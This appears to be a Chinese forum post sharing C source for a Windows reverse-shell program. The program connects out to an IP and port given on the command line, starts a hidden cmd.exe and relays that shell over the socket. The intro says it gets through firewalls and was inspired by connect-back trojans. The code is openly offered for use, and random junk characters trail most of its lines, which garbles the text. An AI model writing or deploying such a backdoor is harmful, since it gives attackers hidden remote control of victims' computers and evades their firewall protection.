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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :Qu.CvYF  
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/* ============================== AzMX~cd  
Rebound port in Windows NT .A F94OlE/  
By wind,2006/7 ?$@E}t8g\  
===============================*/ |Hv8GT  
#include ;"2(e7ir  
#include )1/J5DI @8  
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#pragma comment(lib,"wsock32.lib") jwp?eL!7  
Bq~?!~\?.  
void OutputShell(); CqLAtS X7  
SOCKET sClient; vhrURY.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =>*9"k%m  
LG vPy  
void main(int argc,char **argv) ^f] 9^U{  
{ _^h?JTU^  
WSADATA stWsaData; wV q4DE  
int nRet; Y z],["*Q  
SOCKADDR_IN stSaiClient,stSaiServer; !JQ'~#jKN  
chu r(@Af  
if(argc != 3) R:y u  
{ Q"k #eEA  
printf("Useage:\n\rRebound DestIP DestPort\n"); _| >bOI  
return; i\zN1T_  
} MZt&HbD-  
a?X #G/)  
WSAStartup(MAKEWORD(2,2),&stWsaData); :0% $u>;O:  
vv1W<X0e<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MtG~ O;?8  
,-V7~gM%}  
stSaiClient.sin_family = AF_INET; k&= iye(  
stSaiClient.sin_port = htons(0); 5XZ\7Z|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m^;A]0h+  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LIh71Vg/cc  
{ Q[ .d  
printf("Bind Socket Failed!\n"); K 5AArI  
return; Ym wb2]M  
} "b0!h6$!H  
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stSaiServer.sin_family = AF_INET; @rlL'|&X*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \GCT3$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 72sBx3 ;  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fv3:J~Yf  
{  L{u1_  
printf("Connect Error!"); $+n5l@W  
return; p><DA fB  
} =UV=F/Af^  
OutputShell(); (!koz'f  
} }/VSIS@Z  
m8 Ti{w(  
void OutputShell() jO5We mqf  
{ {%8=qJ3@  
char szBuff[1024]; E#`JH  
SECURITY_ATTRIBUTES stSecurityAttributes; { \5-b:#_  
OSVERSIONINFO stOsversionInfo; Ip*[H#h  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :i]g+</  
STARTUPINFO stStartupInfo; Cgn@@P5ZC  
char *szShell; oI9-jW  
PROCESS_INFORMATION stProcessInformation; u\@ L|rh  
unsigned long lBytesRead; GI/4<J\  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0hX@ta[Up  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hJGWa%`  
stSecurityAttributes.lpSecurityDescriptor = 0; Iq(;?_  
stSecurityAttributes.bInheritHandle = TRUE;  o[>p  
y0 qq7Dmu  
(^= Hq'D  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (Ek=0;Cr  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @v=A)L  
33w(Pw  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eo'C)j# U  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b* o,re)Dj  
stStartupInfo.wShowWindow = SW_HIDE; jAOD&@z1  
stStartupInfo.hStdInput = hReadPipe; 1~9AQ[]w8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;aUI3n%  
mG+hLRTXP  
GetVersionEx(&stOsversionInfo); 3bMUsyJ2  
!' jXN82  
switch(stOsversionInfo.dwPlatformId) ybVdWOqv  
{ $:<G=  
case 1: \:-N<[  
szShell = "command.com"; ATf{;S}  
break; W'<cAg?  
default: ?p!+s96  
szShell = "cmd.exe"; KDy:A>_ G"  
break; 'W|@d8}h  
} -I{J]L$S #  
U4,hEnJBT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nuX W/7M  
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send(sClient,szMsg,77,0); RYKV?f#[H  
while(1) p$&6E\#7  
{ k<\]={ |=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7x :j4  
if(lBytesRead) 91bJ7%  
{ 5A*'@Fr'G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pI{s )|"  
send(sClient,szBuff,lBytesRead,0); 4!tHJCq"  
} kC2_&L  
else Mq$N ra  
{ Id'@!U:NA  
lBytesRead=recv(sClient,szBuff,1024,0); ti9 cfv>  
if(lBytesRead<=0) break; &)|3OJ'o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [8C6%n{W  
} g@7j<UY  
} =Pg u?WU@  
@DYkWivLu  
return; #L,5;R{`  
}
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